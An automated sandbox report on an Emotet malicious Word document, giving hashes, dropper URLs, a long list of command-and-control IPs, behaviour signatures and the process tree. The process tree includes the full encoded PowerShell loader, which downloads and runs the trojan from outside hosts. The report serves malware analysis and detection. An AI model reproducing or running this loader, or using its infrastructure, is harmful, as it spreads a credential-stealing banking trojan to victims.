emotet | da86de2e8d0fcec9820a7cfe23a969be0aa5b7d4e281fa92481c33346a57df0b

Analysis

max time kernel
136s
max time network
139s
platform
windows10_x64
resource
win10v200722
submitted
24/09/2020, 14:40

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General

Target
emotet_e1_da86de2e8d0fcec9820a7cfe23a969be0aa5b7d4e281fa92481c33346a57df0b_2020-09-24__143559120154._doc.doc
Size 151KB
Sample200924-pmfy8khcl6
SHA256 da86de2e8d0fcec9820a7cfe23a969be0aa5b7d4e281fa92481c33346a57df0b
MD5 64e37e2343d53ede5b4d42351af81251
SHA1 78d726e02674fc230c5274af2f7902e950068e80
SHA512 22e24fa84bc1f690d3f0bc99128d7ed033dc687a329f29e14937fcbfd14033c7b55ef9d3f95af81d30918ceaf47925f7202b3f8689804dd315e597de67b2453a
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
http://h2a1.com/uf8vu/U/
exe.dropper
http://www.almakaaseb.com/wp-includes/P/
exe.dropper
http://theitnconsultant.com/wp-includes/t/
exe.dropper
http://carstarai.com/icon/D/
exe.dropper
http://bug.chihuahuamediaprojects.com/wp-includes/u/
exe.dropper
https://aecc.dev.caveim.net/wp-admin/dZ/
exe.dropper
http://phimsex.2xxhub.com/wp-content/esp/5ur8drbma/6qH/

Extracted

Family

emotet

12.163.208.58:80
45.33.35.74:8080
87.106.253.248:8080
192.241.146.84:8080
190.115.18.139:8080
65.36.62.20:80
170.81.48.2:80
83.169.21.32:7080
185.232.182.218:80
190.2.31.172:80
77.106.157.34:8080
82.230.1.24:80
202.4.58.197:80
201.213.177.139:80
78.249.119.122:80
123.51.47.18:80
77.90.136.129:8080
60.93.23.51:80
152.169.22.67:80
190.117.79.209:80
60.108.144.104:443
213.197.182.158:8080
82.76.111.249:443
209.236.123.42:8080
190.24.243.186:80
177.74.228.34:80
191.182.6.118:80
96.245.123.149:80
61.197.92.216:80
1.226.84.243:8080
111.67.12.221:8080
216.47.196.104:80
185.94.252.27:443
70.116.143.84:80
187.162.248.237:80
217.13.106.14:8080
80.11.164.185:80
35.143.99.174:80
190.190.148.27:8080
219.92.13.25:80
70.32.115.157:8080
96.227.52.8:443
51.75.33.127:80
95.9.180.128:80
174.113.69.136:80
119.106.216.84:80
111.67.77.202:8080
91.105.94.200:80
178.250.54.208:8080
98.13.75.196:80
2.36.95.106:80
186.70.127.199:8090
116.202.23.3:8080
202.134.4.210:7080
50.28.51.143:8080
45.33.77.42:8080
67.247.242.247:80
137.74.106.111:7080
85.214.26.7:8080
181.30.61.163:443
77.238.212.227:80
185.215.227.107:443
186.103.141.250:443
50.121.220.50:80
74.136.144.133:80
104.131.41.185:8080
61.92.159.208:8080
104.131.103.37:8080
51.15.7.189:80
185.94.252.12:80
94.176.234.118:443
212.71.237.140:8080
5.196.35.138:7080
45.46.37.97:80
70.32.84.74:8080
199.203.62.165:80
38.88.126.202:8080
51.159.23.217:443
155.186.0.121:80
51.38.124.206:80
181.129.96.162:8080
64.201.88.132:80
92.24.50.153:80
189.2.177.210:443
45.16.226.117:443
76.168.54.203:80
185.178.10.77:80
220.109.145.69:80
192.81.38.31:80
68.183.170.114:8080
177.73.0.98:443
138.97.60.141:7080
192.241.143.52:8080
217.199.160.224:7080
185.183.16.47:80
177.129.17.170:443
5.189.178.202:8080
74.58.215.226:80
51.255.165.160:8080
12.162.84.2:8080
149.202.72.142:7080
87.106.46.107:8080
188.135.15.49:80
68.183.190.199:8080
172.104.169.32:8080
68.69.155.181:80
72.47.248.48:7080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	636	2144	POwersheLL.exe	72

Emotet Payload 8 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/1256-13-0x0000000002200000-0x0000000002212000-memory.dmp	emotet
behavioral2/memory/1256-13-0x0000000002200000-0x0000000002212000-memory.dmp	emotet
behavioral2/memory/1256-14-0x0000000002220000-0x0000000002230000-memory.dmp	emotet
behavioral2/memory/1256-14-0x0000000002220000-0x0000000002230000-memory.dmp	emotet
behavioral2/memory/2068-18-0x00000000001F0000-0x0000000000200000-memory.dmp	emotet
behavioral2/memory/2068-18-0x00000000001F0000-0x0000000000200000-memory.dmp	emotet
behavioral2/memory/2068-17-0x00000000005D0000-0x00000000005E2000-memory.dmp	emotet
behavioral2/memory/2068-17-0x00000000005D0000-0x00000000005E2000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
14	636	POwersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
1256	Qicxrezc.exe
2068	devrtl.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\KBDGTHC\devrtl.exe	Qicxrezc.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
916	WINWORD.EXE
916	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
636	POwersheLL.exe
636	POwersheLL.exe
636	POwersheLL.exe
2068	devrtl.exe
2068	devrtl.exe
2068	devrtl.exe
2068	devrtl.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	636	POwersheLL.exe

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
916	WINWORD.EXE
916	WINWORD.EXE
916	WINWORD.EXE
916	WINWORD.EXE
916	WINWORD.EXE
916	WINWORD.EXE
916	WINWORD.EXE
916	WINWORD.EXE
916	WINWORD.EXE
1256	Qicxrezc.exe
916	WINWORD.EXE
2068	devrtl.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 636 wrote to memory of 1256	636	POwersheLL.exe	75
PID 636 wrote to memory of 1256	636	POwersheLL.exe	75
PID 636 wrote to memory of 1256	636	POwersheLL.exe	75
PID 1256 wrote to memory of 2068	1256	Qicxrezc.exe	77
PID 1256 wrote to memory of 2068	1256	Qicxrezc.exe	77
PID 1256 wrote to memory of 2068	1256	Qicxrezc.exe	77

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_da86de2e8d0fcec9820a7cfe23a969be0aa5b7d4e281fa92481c33346a57df0b_2020-09-24__143559120154._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:916

C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
POwersheLL -ENCOD JABFADUAZQA4AG0AcAA4AD0AKAAoACcAUQB2ACcAKwAnAHIAJwApACsAKAAnADkAZwAnACsAJwBxAGcAJwApACkAOwAmACgAJwBuAGUAJwArACcAdwAtACcAKwAnAGkAdABlAG0AJwApACAAJABFAE4AVgA6AFUAcwBFAFIAUAByAG8AZgBpAEwARQBcAEUAWAB5AGEAcwA2ADgAXABYAF8AWABFADAAOABfAFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAGQASQByAGUAQwB0AE8AcgBZADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAEUAYwBVAGAAUgBgAGkAVABZAGAAUAByAG8AVABgAG8AQwBvAGwAIgAgAD0AIAAoACcAdAAnACsAKAAnAGwAcwAxADIALAAnACsAJwAgAHQAJwArACcAbAAnACkAKwAnAHMAJwArACgAJwAxADEALAAnACsAJwAgACcAKQArACgAJwB0ACcAKwAnAGwAcwAnACkAKQA7ACQAWQBiADQAeAAwADgANAAgAD0AIAAoACcAUQAnACsAKAAnAGkAYwAnACsAJwB4AHIAJwApACsAKAAnAGUAJwArACcAegBjACcAKQApADsAJABLAGQAdABpAG4AeABiAD0AKAAoACcAQQAnACsAJwBxAGYAMwA4ACcAKQArACcANAAnACsAJwAzACcAKQA7ACQAWQB3AG0AXwB0ADYAcgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAJwB7ADAAJwArACcAfQBFACcAKwAnAHgAeQAnACsAJwBhAHMANgA4AHsAMAB9AFgAXwB4AGUAJwArACcAMAAnACsAJwA4AF8AewAwACcAKwAnAH0AJwApAC0AZgAgACAAWwBjAGgAQQBSAF0AOQAyACkAKwAkAFkAYgA0AHgAMAA4ADQAKwAoACcALgAnACsAKAAnAGUAeAAnACsAJwBlACcAKQApADsAJABNAG8AOABuAF8ANABxAD0AKAAoACcAQgAnACsAJwBzADIANgAnACkAKwAoACcAbQBsACcAKwAnAGIAJwApACkAOwAkAFkAbABfAGMAcwB6AG8APQAuACgAJwBuACcAKwAnAGUAdwAnACsAJwAtAG8AYgBqAGUAYwB0ACcAKQAgAE4AZQBUAC4AdwBlAGIAQwBMAEkAZQBuAHQAOwAkAEEAZQBnAHAAXwAwAGMAPQAoACcAaAB0ACcAKwAnAHQAcAAnACsAKAAnADoALwAvAGgAJwArACcAMgBhADEALgBjAG8AJwArACcAbQAvAHUAJwArACcAZgAnACsAJwA4AHYAdQAnACsAJwAvACcAKQArACcAVQAvACcAKwAoACcAKgAnACsAJwBoAHQAdAAnACkAKwAoACcAcAAnACsAJwA6AC8AJwApACsAJwAvACcAKwAoACcAdwB3ACcAKwAnAHcALgBhACcAKQArACgAJwBsAG0AJwArACcAYQBrACcAKQArACcAYQAnACsAKAAnAGEAcwBlACcAKwAnAGIALgBjACcAKwAnAG8AbQAnACsAJwAvACcAKQArACgAJwB3AHAALQAnACsAJwBpAG4AYwBsACcAKwAnAHUAZAAnACsAJwBlAHMALwBQAC8AKgBoAHQAdAAnACkAKwAnAHAAJwArACcAOgAnACsAKAAnAC8AJwArACcALwB0ACcAKQArACcAaAAnACsAJwBlACcAKwAnAGkAJwArACgAJwB0AG4AYwAnACsAJwBvAG4AJwApACsAKAAnAHMAdQBsAHQAJwArACcAYQBuAHQAJwArACcALgAnACsAJwBjAG8AbQAnACkAKwAnAC8AdwAnACsAKAAnAHAALQBpACcAKwAnAG4AYwBsACcAKQArACgAJwB1ACcAKwAnAGQAZQBzAC8AJwApACsAKAAnAHQAJwArACcALwAqACcAKQArACgAJwBoAHQAJwArACcAdABwADoAJwApACsAJwAvACcAKwAnAC8AYwAnACsAKAAnAGEAcgBzACcAKwAnAHQAYQByAGEAJwApACsAKAAnAGkALgAnACsAJwBjACcAKwAnAG8AJwArACcAbQAvAGkAYwBvAG4ALwBEACcAKQArACgAJwAvACoAaAB0AHQAcAA6ACcAKwAnAC8ALwBiACcAKwAnAHUAZwAuACcAKQArACgAJwBjAGgAJwArACcAaQBoAHUAYQAnACsAJwBoAHUAJwApACsAKAAnAGEAbQBlAGQAaQBhACcAKwAnAHAAcgAnACsAJwBvAGoAZQBjAHQAcwAuACcAKwAnAGMAbwBtAC8AdwBwACcAKwAnAC0AJwApACsAKAAnAGkAbgBjAGwAdQBkAGUAcwAvACcAKwAnAHUALwAqAGgAJwArACcAdAAnACkAKwAoACcAdAAnACsAJwBwAHMAOgAnACsAJwAvAC8AYQBlACcAKwAnAGMAYwAuAGQAZQB2AC4AYwBhAHYAJwApACsAKAAnAGUAJwArACcAaQBtACcAKQArACgAJwAuAG4AZQAnACsAJwB0AC8AdwBwAC0AJwApACsAJwBhAGQAJwArACcAbQAnACsAJwBpACcAKwAoACcAbgAvACcAKwAnAGQAWgAnACkAKwAnAC8AJwArACgAJwAqAGgAJwArACcAdAAnACkAKwAoACcAdABwADoALwAnACsAJwAvACcAKwAnAHAAaABpAG0AcwBlACcAKQArACgAJwB4AC4AMgAnACsAJwB4AHgAaAB1ACcAKwAnAGIALgAnACsAJwBjAG8AbQAvAHcAcAAtACcAKwAnAGMAJwApACsAJwBvACcAKwAnAG4AdAAnACsAKAAnAGUAbgB0AC8AZQAnACsAJwBzACcAKQArACgAJwBwAC8ANQB1AHIAOABkACcAKwAnAHIAYgBtACcAKwAnAGEALwAnACkAKwAnADYAcQAnACsAJwBIAC8AJwApAC4AIgBzAFAAYABsAEkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEIAaAAwAGwAbwA5AGoAPQAoACgAJwBMADYAZgAnACsAJwBfAGEANAAnACkAKwAnADEAJwApADsAZgBvAHIAZQBhAGMAaAAoACQATQBwAG8AaQBrAGUAZgAgAGkAbgAgACQAQQBlAGcAcABfADAAYwApAHsAdAByAHkAewAkAFkAbABfAGMAcwB6AG8ALgAiAGQATwBXAG4AYABMAG8AYABBAGAARABGAGkATABFACIAKAAkAE0AcABvAGkAawBlAGYALAAgACQAWQB3AG0AXwB0ADYAcgApADsAJABJADkAYQAyADMAMQAxAD0AKAAnAFEAJwArACgAJwB6AGcAJwArACcANwA4AGgAMQAnACkAKQA7AEkAZgAgACgAKAAuACgAJwBHACcAKwAnAGUAdAAnACsAJwAtAEkAdABlAG0AJwApACAAJABZAHcAbQBfAHQANgByACkALgAiAEwAZQBOAGAAZwB0AGgAIgAgAC0AZwBlACAAMwAzADkAOQA3ACkAIAB7AC4AKAAnAEkAbgB2AG8AawBlACcAKwAnAC0ASQB0ACcAKwAnAGUAbQAnACkAKAAkAFkAdwBtAF8AdAA2AHIAKQA7ACQAQQAxADEANgBxAGwAdAA9ACgAKAAnAFoAOQBlAHgAJwArACcAcgAnACkAKwAnADQAagAnACkAOwBiAHIAZQBhAGsAOwAkAEgAdABwAGwAbABuAG0APQAoACcASgB6ACcAKwAoACcAegAnACsAJwAzAG4AJwApACsAJwBiAGkAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABMAHUAYQBjAGEAdgA2AD0AKAAnAE0AJwArACgAJwB3ADQAMwAnACsAJwB3ACcAKwAnADAAZgAnACkAKQA=
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:636
- C:\Users\Admin\Exyas68\X_xe08_\Qicxrezc.exe
  "C:\Users\Admin\Exyas68\X_xe08_\Qicxrezc.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:1256
- - C:\Windows\SysWOW64\KBDGTHC\devrtl.exe
    "C:\Windows\SysWOW64\KBDGTHC\devrtl.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:2068

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/636-8-0x0000021526B10000-0x0000021526B11000-memory.dmp

Download

memory/636-7-0x00007FFAC9B10000-0x00007FFACA4FC000-memory.dmp

Download

memory/636-9-0x000002153EDE0000-0x000002153EDE1000-memory.dmp

Download

memory/916-1-0x0000023FDA1CA000-0x0000023FDA1CD000-memory.dmp

Download

memory/916-5-0x0000023FDA21C000-0x0000023FDA21D000-memory.dmp

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memory/916-6-0x0000023FDA21E000-0x0000023FDA21F000-memory.dmp

Download

memory/916-0-0x00007FFAD67B0000-0x00007FFAD6E76000-memory.dmp

Download

memory/916-4-0x0000023FDA21F000-0x0000023FDA220000-memory.dmp

Download

memory/916-3-0x0000023FDA21D000-0x0000023FDA21E000-memory.dmp

Download

memory/916-2-0x0000023FDA1CD000-0x0000023FDA1D0000-memory.dmp

Download

memory/1256-14-0x0000000002220000-0x0000000002230000-memory.dmp

Download

memory/1256-13-0x0000000002200000-0x0000000002212000-memory.dmp

Download

memory/2068-18-0x00000000001F0000-0x0000000000200000-memory.dmp

Download

memory/2068-17-0x00000000005D0000-0x00000000005E2000-memory.dmp

Download